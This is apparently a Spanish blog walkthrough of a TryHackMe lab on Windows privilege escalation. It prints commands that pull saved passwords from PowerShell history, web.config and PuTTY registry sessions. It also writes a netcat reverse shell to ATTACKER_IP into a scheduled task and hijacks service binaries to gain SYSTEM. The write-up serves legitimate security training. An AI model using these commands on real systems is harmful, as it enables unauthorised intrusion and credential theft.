Entrada

TryHackMe - Escalada de Privilegios en Windows

Diferentes formas de escalar privilegios en Windows

TryHackMe - Escalada de Privilegios en Windows

Introducción

La escalada de privilegios es imprescindible en las pruebas de penetración y en la piratería informática en general, ya que es una forma de obtener acceso total a la máquina remota

Este es el lado de Windows

Tryhackme Room Link

¿Qué es la escalada de privilegios?

  • La escalada de privilegios es el proceso de obtener niveles de acceso o permisos más altos en un sistema que los otorgados originalmente.

Hay 2 tipos principales de escalada de privilegios:

  1. Escalada de privilegios vertical (elevación de privilegios): el atacante obtiene permisos de nivel superior, como pasar de una cuenta de usuario estándar a un acceso de administrador o de nivel raíz. Esto suele suceder explotando vulnerabilidades de software, configuraciones incorrectas o robo de credenciales.

  2. Escalada de privilegios horizontal: el atacante permanece en el mismo nivel de privilegios, pero obtiene acceso a la cuenta o los recursos de otro usuario. Por ejemplo, un usuario normal puede obtener acceso a los datos privados de otro usuario.

Escalada de privilegios de Windows

  • Los usuarios de Windows se dividen en 2 grupos:
    1. Administradores: estos usuarios tienen la mayor cantidad de privilegios. Pueden cambiar cualquier parámetro de configuración del sistema y acceder a cualquier archivo del sistema
    2. Usuarios estándar: estos usuarios pueden acceder a la computadora, pero solo realizan tareas limitadas. Por lo general, estos usuarios no pueden realizar cambios permanentes o esenciales en el sistema y están limitados a sus archivos.
  • Cuentas integradas
    1. SYSTEM / LocalSystem: cuenta con el mayor privilegio, incluso por encima de los administradores, con acceso completo al sistema
    2. Local Service: ejecuta servicios con privilegios mínimos, utiliza conexiones de red anónimas
    3. Network Service: ejecuta servicios con privilegios mínimos, utiliza credenciales de computadora para autenticación de red

¿Los usuarios que pueden cambiar las configuraciones del sistema forman parte de qué grupo?

Respuesta:

1
Administrators

La cuenta SYSTEM tiene más privilegios que el usuario Administrador (a favor/en contra)

1
aye

Obtención de contraseñas de lugares habituales

Se ha dejado una contraseña para el usuario julia.jones en el historial de PowerShell. ¿Cuál es la contraseña?

1
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Less

Se está ejecutando un servidor web en el host remoto. Busque alguna contraseña interesante en los archivos web.config asociados con IIS. ¿Cuál es la contraseña del usuario db_admin?

Entonces, simplemente usamos el comando provisto en el desafío en nuestra máquina Windows generada

1
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

Less

Hay una contraseña guardada en sus credenciales de Windows. Con cmdkey y runas, cree un shell para mike.katz y recupere la bandera de su escritorio.

Por lo tanto, utilizaremos los pasos proporcionados en el desafío

1
runas /savecred /user:WPRIVESC1\mike.katz cmd.exe

Nos abre una nueva ventana de cmd y ahora checamos la bandera

Flag

Recupere la contraseña guardada en la sesión de PuTTY guardada en su perfil. ¿Cuál es la contraseña del usuario thom.smith?

1
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

Flag

Otras victorias rápidas

Básicamente, esta tarea es una alternativa de Windows a los cronjobs en Linux

El archivo schtask.bat es nuestro cronjob, por lo que debemos escribir nuestro shell allí y cuando se ejecuta, recibimos el shell

1
echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat

Iniciar el escucha de netcat en nuestra máquina atacante

1
2
nc -lvnp 1337
listening on [any] 1337 ...

Y ejecuta los schtasks en la máquina víctima.

1
C:\> schtasks /run /tn vulntask

Flag

Y recibimos la conexión

Flag

Y nosotros solo leemos la bandera

Flag

Abuso de configuraciones incorrectas del servicio

Tenemos permisos para cambiar WService.exe

Scheduler

Utilicemos la carga útil proporcionada

Payload

Ahora inicie el servidor http localmente

1
python3 -m http.server 80

Payload

Ok, tenemos que usar ‘Powershell’ para esto

Payload

OK, esto no parece descargar el archivo, después de investigar un poco descubrí que es necesario especificar el archivo de salida con el indicador -O

Payload

  • Mueva el archivo a donde se encuentra el Wservice
  • Agregue los permisos necesarios al archivo

Payload

Ahora iniciamos el escucha netcat y reiniciamos el proceso windowsscheduler para que se ejecute nuestro shell inverso

1
nc -lvnp 1337
1
C:\Users\thm-unpriv> sc stop windowsscheduler

Y recibimos una conexión

La bandera se encuentra en C:\Users\svcusr1\Desktop

Para la segunda bandera hacemos exactamente el mismo proceso pero con Disk.exe, nuestra única diferencia será reiniciar el proceso usando comillas ya que el proceso tiene espacios en el nombre

1
2
sc stop "disk sorter enterprise"
sc stop "disk sorter enterprise"

La bandera se encuentra en C:\Users\svcusr2\Desktop

Para la última bandera, el proceso es exactamente el mismo, pero cambiaremos la ruta binaria de THMService

1
2
3
sc config THMService binPath= "C:\Isers\thm-unpriv\rev-svc3.exe" obj= LocalSystem
sc stop THMService
sc start THMService

La bandera se encuentra en C:\Users\Administrator\Desktop

Esta entrada está licenciada bajo CC BY 4.0 por el autor.